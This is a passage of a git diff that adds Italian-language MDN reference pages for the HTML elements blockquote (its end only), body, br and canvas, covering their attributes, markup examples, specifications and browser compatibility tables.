+ <li><dfn>Elementi genitore permessi</dfn> Qualsiasi elemento che accetti <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content_categories#Phrasing_content">contenuto di flusso</a>.</li>
+ <li><dfn>Interfaccia DOM</dfn> {{domxref("HTMLQuoteElement")}}</li>
+</ul>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p><span style="line-height: 21px;">Questo elemento include gli <a href="/it/docs/HTML/Global_attributes">attributi globali</a>.</span></p>
+
+<dl>
+ <dt>{{htmlattrdef("cite")}}</dt>
+ <dd>L'URL del documento dal quale è stato informato il testo o un messaggio riguardante le informazioni citate.</dd>
+</dl>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: html">&lt;blockquote cite="http://developer.mozilla.org"&gt;
+  &lt;p&gt;Questa è una citazione presa da MDN.&lt;/p&gt;
+&lt;/blockquote&gt;
+</pre>
+
+<h3 id="Risultato">Risultato</h3>
+
+<blockquote cite="http://developer.mozilla.org">
+<p>Questa è una citazione presa da MDN.</p>
+</blockquote>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-blockquote-element', '&lt;blockquote&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-blockquote-element', '&lt;blockquote&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.2', '&lt;blockquote&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Nota">Nota</h2>
+
+<p>Per cambiare l'indentazione dell'elemento <code>&lt;blockquote&gt;</code>, si può usare la proprietà CSS {{cssxref("margin")}}.</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>L'elemento {{HTMLElement("q")}}, per citazioni inline.</li>
+ <li>L'elemento {{HTMLElement("cite")}}, per citare del codice.</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/it/web/html/element/body/index.html b/files/it/web/html/element/body/index.html
new file mode 100644
index 0000000000..4af9d7287c
--- /dev/null
+++ b/files/it/web/html/element/body/index.html
@@ -0,0 +1,211 @@
+---
+title: <body>
+slug: Web/HTML/Element/body
+translation_of: Web/HTML/Element/body
+---
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'<strong>elemento HTML <code>&lt;body&gt;</code></strong> rappresenta il contenuto di un documento HTML. Può essere presente solo un elemento <code>&lt;body&gt;</code> in un documento.</p>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/Web/HTML/Content_categories">Categorie di contenuto</a></dfn> <a href="/en-US/docs/Web/HTML/Sections_and_Outlines_of_an_HTML5_document#Sectioning_roots">Sezioni principali</a>.</li>
+ <li><dfn>Contenuti permessi</dfn> <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Contenuti di flusso</a>.</li>
+ <li><dfn>Omissione del tag</dfn>Il tag iniziale può essere omesso se la prima cosa all'interno di esso non è uno spazio, un commento, un elemento {{HTMLElement("script")}} o un elemento {{HTMLElement("style")}}. Il tag finale può essere omesso se l'elemento <code>&lt;body&gt;</code> ha dei contenuti o ha il tag iniziale che non sia immediatamente seguito da un commento.</li>
+ <li><dfn>Elementi genitore permessi</dfn>Deve essere il secondo elemento figlio di un elemento {{HTMLElement("html")}}.</li>
+ <li><dfn>Interfaccia DOM</dfn> {{domxref("HTMLBodyElement")}}
+  <ul>
+   <li>L'elemento <code>&lt;body&gt;</code> espone l'interfaccia {{domxref("HTMLBodyElement")}}.</li>
+   <li>Puoi accedere all'elemento <code>&lt;body&gt;</code> di una pagina attraverso {{domxref("document.body")}}.</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p>Questo elemento include gli <a href="/en-US/docs/Web/HTML/Global_attributes">attributi globali</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("alink")}} {{obsolete_inline}}</dt>
+ <dd>Il colore del testo dei link quando vengono selezionati. <em>Questo metodo non è conforme, usa la proprietà CSS {{cssxref("color")}} insieme alla pseudo-classe {{cssxref(":active")}} sugli elementi <code>&lt;a&gt;</code>​.</em></dd>
+ <dt>{{htmlattrdef("background")}} {{obsolete_inline}}</dt>
+ <dd>L'URI di un'immagine da usare come sfondo. <em>Questo metodo non è conforme, usa la proprietà CSS {{cssxref("background")}} sull'elemento <code>&lt;body&gt;</code>.</em>
+ <div class="note"><strong>Nota:</strong> A partire da Gecko 7.0 {{geckoRelease("7.0")}}, <code>background</code> non è più trattato come URI, ma come una semplice stringa.</div>
+ </dd>
+ <dt>{{htmlattrdef("bgcolor")}} {{obsolete_inline}}</dt>
+ <dd>Il colore di sfondo del documento. <em>Questo metodo non è conforme, usa la proprietà CSS {{cssxref("background-color")}} sull'elemento <code>&lt;body&gt;</code>.</em></dd>
+ <dt>{{htmlattrdef("bottommargin")}} {{obsolete_inline}}</dt>
+ <dd>Il margine inferiore del corpo del documento. <em>Questo metodo non è conforme, usa la proprietà CSS {{cssxref("margin-bottom")}} sull'elemento <code>&lt;body&gt;</code>.</em></dd>
+ <dt>{{htmlattrdef("leftmargin")}} {{obsolete_inline}}</dt>
+ <dd>Il margine sinistro del corpo del documento. <em>Questo metodo non è conforme, usa la proprietà CSS {{cssxref("margin-left")}} sull'elemento <code>&lt;body&gt;</code>.</em></dd>
+ <dt>{{htmlattrdef("link")}} {{obsolete_inline}}</dt>
+ <dd>Il colore del testo dei link non ancora visitati. <em>Questo metodo non è conforme, usa la proprietà CSS {{cssxref("color")}} insieme alla pseudo-classe {{cssxref(":link")}} sugli elementi <code>&lt;a&gt;</code>.</em></dd>
+ <dt>{{htmlattrdef("onafterprint")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Una funzione da richiamare dopo che l'utente abbia stampato il documento.</dd>
+ <dt>{{htmlattrdef("onbeforeprint")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Una funzione da chiamare subito prima che il documento venga stampato.</dd>
+ <dt>{{htmlattrdef("onbeforeunload")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Una funzione da chiamare quando il documento sta per essere chiuso.</dd>
+ <dt>{{htmlattrdef("onblur")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Una funzione da chiamare quando il documento perde il focus.</dd>
+ <dt>{{htmlattrdef("onerror")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Una funzione da chiamare quando il documento non riesce a caricarsi correttamente.</dd>
+ <dt>{{htmlattrdef("onfocus")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Una funzione da chiamare quando il documento riceve il focus.</dd>
+ <dt>{{htmlattrdef("onhashchange")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Function to call when the fragment identifier part (starting with the hash (<code>'#'</code>) character) of the document's current address has changed.</dd>
+ <dt>{{htmlattrdef("onlanguagechange")}} {{experimental_inline}}</dt>
+ <dd>Una funzione da chiamare quando la lingua preferita cambia.</dd>
+ <dt>{{htmlattrdef("onload")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Una funzione da chiamare quando termina il caricamento della pagina.</dd>
+ <dt>{{htmlattrdef("onmessage")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Una funzione da chiamare quando il documento riceve un messaggio.</dd>
+ <dt>{{htmlattrdef("onoffline")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Una funzione da chiamare quando il browser si disconnette da internet.</dd>
+ <dt>{{htmlattrdef("ononline")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Una funzione da chiamare quando il browser si riconnette a internet.</dd>
+ <dt>{{htmlattrdef("onpopstate")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Una funzione da chiamare quando l'utente si sposta nella cronologia.</dd>
+ <dt>{{htmlattrdef("onredo")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Una funzione da chiamare quando l'utente si sposta in avanti nella cronologia.</dd>
+ <dt>{{htmlattrdef("onresize")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Una funzione da chiamare quando la pagina viene ridimensionata.</dd>
+ <dt>{{htmlattrdef("onstorage")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Una funzione da chiamare quando lo spazio di archiviazione a disposizione cambia.</dd>
+ <dt>{{htmlattrdef("onundo")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Una funzione da chiamare quando l'utente si sposta in dietro nella cronologia.</dd>
+ <dt>{{htmlattrdef("onunload")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Una funzione da chiamare quando il documento viene chiuso.</dd>
+ <dt>{{htmlattrdef("rightmargin")}} {{obsolete_inline}}</dt>
+ <dd>Il margine destro del corpo del documento. <em>Questo metodo non è conforme, usa la proprietà CSS {{cssxref("margin-right")}} sull'elemento <code>&lt;body&gt;</code>.</em></dd>
+ <dt>{{htmlattrdef("text")}} {{obsolete_inline}}</dt>
+ <dd>Il colore del testo. <em>Questo metodo non è conforme, usa la proprietà CSS {{cssxref("color")}} sull'elemento <code>&lt;body&gt;</code>.</em></dd>
+ <dt>{{htmlattrdef("topmargin")}} {{obsolete_inline}}</dt>
+ <dd>
+ <div>Il margine superiore del corpo del documento. <em>Questo metodo non è conforme, usa la proprietà CSS {{cssxref("margin-top")}} sull'elemento <code>&lt;body&gt;</code>.</em></div>
+ </dd>
+ <dt>{{htmlattrdef("vlink")}} {{obsolete_inline}}</dt>
+ <dd>Il colore del testo dei link già visitati. <em>Questo metodo non è conforme, usa la proprietà CSS {{cssxref("color")}} insieme alla pseudo-classe {{cssxref(":visited")}} sugli elementi <code>&lt;a&gt;</code>​.</em></dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-body-element', '&lt;body&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Cambiata la lista delle funzionalità non conformi.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-body-element', '&lt;body&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Dichiarate obsolete gli attributi deprecati.<br>
+    Definito il comportamento degli attributi non conformi e mai standardizzati <strong><code>margintop</code></strong>, <strong><code>marginleft</code></strong>, <strong><code>marginright</code></strong> e <strong><code>marginbottom.</code></strong></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.1', '&lt;body&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Dichiarati deprecati gli attributi <strong><code>alink</code></strong>, <strong><code>background</code></strong>, <code><strong>bgcolor</strong></code>, <code><strong>link</strong></code>, <code><strong>text</strong></code> e <code><strong>vlink</strong></code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onlanguagechange</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("32")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>bottommargin</code>, <code>leftmargin</code>, <code>rightmargin</code>, <code>topmargin</code> {{obsolete_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("35")}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span style="font-family: 'Open Sans Light',sans-serif; font-size: 16px; line-height: 16px;">Funzionalità</span></th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Supporto di base</span></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onlanguagechange</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("32")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>bottommargin</code>, <code>leftmargin</code>, <code>rightmargin</code>, <code>topmargin</code> {{obsolete_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("35")}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Prima era supportato solo in modalità Quirk Mode.</p>
+
+<h2 id="See_also" name="See_also">Vedi anche</h2>
+
+<ul>
+ <li>{{HTMLElement("html")}}</li>
+ <li>{{HTMLElement("head")}}</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/it/web/html/element/br/index.html b/files/it/web/html/element/br/index.html
new file mode 100644
index 0000000000..6a7ee04414
--- /dev/null
+++ b/files/it/web/html/element/br/index.html
@@ -0,0 +1,135 @@
+---
+title: <br>
+slug: Web/HTML/Element/br
+translation_of: Web/HTML/Element/br
+---
+<h2 id="Summary" name="Summary">Sommario</h2>
+
+<p>L'elemento HTML <code><strong>&lt;br&gt;</strong></code> (o <em>Line Break</em>) crea un "a capo" nel testo. È utile quando è importante la divisione tra le linee, ad esempio in una poesia.</p>
+
+<p>Non usare l'elemento <code>&lt;br&gt;</code> per aumentare lo spazio tra due linee di testo, ma le proprietà CSS {{cssxref("margin")}} o {{cssxref("line-height")}} applicate all'elemento {{HTMLElement("p")}}.</p>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Categoria</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Contenuto di flusso</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">contenuto testuale</a>.</li>
+ <li><dfn>Contenuto permesso</dfn> Nessuno, è un {{Glossary("elemento vuoto")}}.</li>
+ <li><dfn>Omissione dei tag</dfn>Deve esserci il tag di apertura ma non ci può essere il tag di chiusura. Nei documenti XHTML, questo elemento va scritto come <code>&lt;br /&gt;</code>.</li>
+ <li><dfn>Elementi genitore permessi</dfn>Qualsiasi elemento che accetta <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">contenuto testuale</a>.</li>
+ <li><dfn>Interfaccia DOM</dfn> {{domxref("HTMLBRElement")}}</li>
+</ul>
+
+<h2 id="Attributes" name="Attributes">Attributi</h2>
+
+<p>Questo elemento include gli <a href="/it/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">attributi globali</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("clear")}} {{deprecatedGeneric('inline','HTML4.01')}} {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>Con questo attributo si può ignorare l'allineamento della linea precedente. Può assumee i valorei <code>left</code>, <code>right</code> e <code>all</code>.
+ <div class="note">
+ <p><strong>Nota: </strong>Questo attributo è obsoleto in <a href="/it/docs/HTML/HTML5">HTML5</a> e <strong>non dovrebbe essere usato</strong>: gli sviluppatori dovrebbero usare la proprietà CSS {{cssxref("clear")}}.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="Example" name="Example">Esempio</h2>
+
+<pre class="brush: html">Mozilla Foundation&lt;br&gt;
+1981 Landings Drive&lt;br&gt;
+Building K&lt;br&gt;
+Mountain View, CA 94043-0801&lt;br&gt;
+USA
+</pre>
+
+<h3 id="Risultato">Risultato</h3>
+
+<p>Mozilla Foundation<br>
+ 1981 Landings Drive<br>
+ Building K<br>
+ Mountain View, CA 94043-0801<br>
+ USA</p>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-br-element', '&lt;br&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-br-element', '&lt;br&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.3.2.1', '&lt;br&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Vedi anche</h2>
+
+<ul>
+ <li>L'elemento {{HTMLElement("p")}}</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/it/web/html/element/canvas/index.html b/files/it/web/html/element/canvas/index.html
new file mode 100644
index 0000000000..e362c25e3f
--- /dev/null
+++ b/files/it/web/html/element/canvas/index.html
@@ -0,0 +1,178 @@
+---
+title: <canvas>
+slug: Web/HTML/Element/canvas
+tags:
+  - Canvas
+  - Disegno
+  - Elemento
+  - HTML
+  - HTML5
+  - Riferimento
+  - Web
+translation_of: Web/HTML/Element/canvas
+---
+<p>L'elemento HTML <strong><code>&lt;canvas&gt;</code></strong> viene usato per disegnare tramite <a href="/it/docs/Web/JavaScript">JavaScript</a>. Per esempio, può essere usato per disegnare, modificare foto o creare animazioni. Si può (e si dovrebbe) fornire un contenuto alternativo all'interno del tag <code>&lt;canvas&gt;</code>: questo contenuto verrà visualizzato sia nei browser che non supportano questo elemento, sia nei browser con JavaScript disabilitato.</p>
+
+<p>Per altri articoli sull'utilizzo di questo elemento, vedi la <a href="/it/docs/Web/API/Canvas_API">pagina riguardo i canvas</a>.</p>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/it/docs/HTML/Content_categories">Categorie del contenuto</a></dfn> <a href="/it/docs/HTML/Content_categories#Flow_content">Contenuto di flusso</a>, <a href="/it/docs/HTML/Content_categories#Phrasing_content">contenuto testuale</a>, <a href="https://developer.mozilla.org/it/docs/HTML/Content_categories#Embedded_content">contenuto incluso</a>, contenuto tangibile.</li>
+ <li><dfn>Contenuto permesso</dfn>Elementi trasparenti senza <a href="/it/docs/HTML/Content_categories#Interactive_content">contenuto interattivo</a> diverso dall'elemento {{HTMLElement("a")}}. Elementi {{HTMLElement("input")}} il cui attributo {{htmlattrxref("type", "input")}} è <code>checkbox</code>, <code>radio</code>, o<code>button</code>.</li>
+ <li><dfn>Omissione del tag</dfn> {{no_tag_omission}}</li>
+ <li><dfn>Elementi genitori permessi</dfn>Qualsiasi elemento che accetti <a href="/it/docs/HTML/Content_categories#Phrasing_content">contenuto testuale</a></li>
+ <li><dfn>Interfaccia DOM</dfn> {{domxref("HTMLCanvasElement")}}</li>
+</ul>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p>Questo elemento accetta anche gli <a href="https://developer.mozilla.org/it/docs/HTML/Global_attributes">attributi globali</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>L'altezza dell'elemento in pixels. Il valore predefinito è 150.</dd>
+ <dt>{{htmlattrdef("moz-opaque")}} {{non-standard_inline}}</dt>
+ <dd>Permette al browser di sapere se questo elemento userà la trasparenza. Se non, il browser può ottimizzare le performace durante il disegno.</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>La larghezza dell'elemento in pixels. Il valore predefinito è 300.</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<h3 id="Richiede_il_tag_di_chiusura_&lt;canvas>">Richiede il tag di chiusura <code>&lt;/canvas&gt;</code></h3>
+
+<p>A differenza dell'elemento {{HTMLElement("img")}}, l'elemento {{HTMLElement("canvas")}} <strong>richiede</strong> il tag di chiusura (<code>&lt;canvas&gt;).</code></p>
+
+<h3 id="Dimensioni_del'area_da_disegno">Dimensioni del'area da disegno</h3>
+
+<p>Le dimensioni del'elemento possono essere cambiate usando i fogli di stile. L'immagine viene ridimensionata durante il rendering per rientrare nella dimensione corretta. Se le dimensioni sembrano distorte, prova a specificare gli attributi <code>width</code> e <code>height</code> utilizzando gli attributi anziché il CSS.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="300"&gt;
+  Mi dispiace, ma il tuo browser non supporta l'elemento &amp;lt;canvas&amp;gt;.
+&lt;/canvas&gt;
+</pre>
+
+<p>Se il tuo disegno non ha trasparenza, usa l'attributo <code>moz-opaque</code>. Questa informazione può essere utilizzata per ottimizzare il rendering.</p>
+
+<div class="warning">
+<p>Questo attributo non è standard e funziona solo nei motori di rendering basati su Mozilla.</p>
+</div>
+
+<pre class="brush: html">&lt;canvas id="mycanvas" moz-opaque&gt;&lt;/canvas&gt;</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'the-canvas-element.html#the-canvas-element', '&lt;canvas&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'the-canvas-element.html#the-canvas-element', '&lt;canvas&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.8")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("6.0")}}<sup>[2]</sup><br>
+    {{CompatGeckoDesktop("12.0")}}<sup>[3]</sup></td>
+   <td>9.0</td>
+   <td>9.0<sup>[4]</sup></td>
+   <td>2.0<sup>[5]</sup></td>
+  </tr>
+  <tr>
+   <td><code>moz-opaque</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatGeckoDesktop("1.8")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("6.0")}}<sup>[2]</sup><br>
+    {{CompatGeckoDesktop("12.0")}}<sup>[3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td><code>moz-opaque</code></td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Prima di Gecko 5.0 {{geckoRelease("5.0")}} le dimensioni di questo elemento erano specificate utilizzando anche numeri negativi.</p>
+
+<p>[2] Prima di Gecko 6.0 {{geckoRelease("6.0")}}, un elemento {{HTMLElement("canvas")}} con altezza o larghezza pari a zero veniva mostrato con le dimensioni predefinite.</p>
+
+<p>[3] Prima di Gecko 12.0 {{geckoRelease("12.0")}}, se JavaScript è disabilitato, viene mostrato l'elemento {{HTMLElement("canvas")}} anziché il contenuto alternativo.</p>
+
+<p>[4] Guarda il <a href="http://www.opera.com/docs/changelogs/windows/900/">changelog di Opera 9.0</a>.</p>
+
+<p>[5] Anche se alcune vecchie versioni di Safari (fino alla 2.0) non richiedono il tag di chiusura, la specifica indica che è richiesto; quindi andrebbe usato per garantire la compatibilità con altri browser. Inoltre queste versioni di Safari mostrano sia il disegno che il contenuto alternativo, a meno che non si usi qualche trucco CSS per nasconderlo. Fortunatamente adesso gli utenti che usano queste versioni del browser sono molto rari.</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/it/docs/Web/API/Canvas_API">MDN canvas portal</a></li>
+ <li><a href="/it/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a></li>
+ <li><a href="https://simon.html5.org/dump/html5-canvas-cheat-sheet.html">Canvas cheat sheet</a></li>
+ <li><a href="/it/demos/tag/tech:canvas">Canvas-related demos</a></li>
+ <li><a href="https://developer.apple.com/library/safari/documentation/AudioVideo/Conceptual/HTML-canvas-guide/Introduction/Introduction.html">Canvas introduction by Apple</a></li>
+</ul>
+
+<div>{{HTMLRef}}</div>
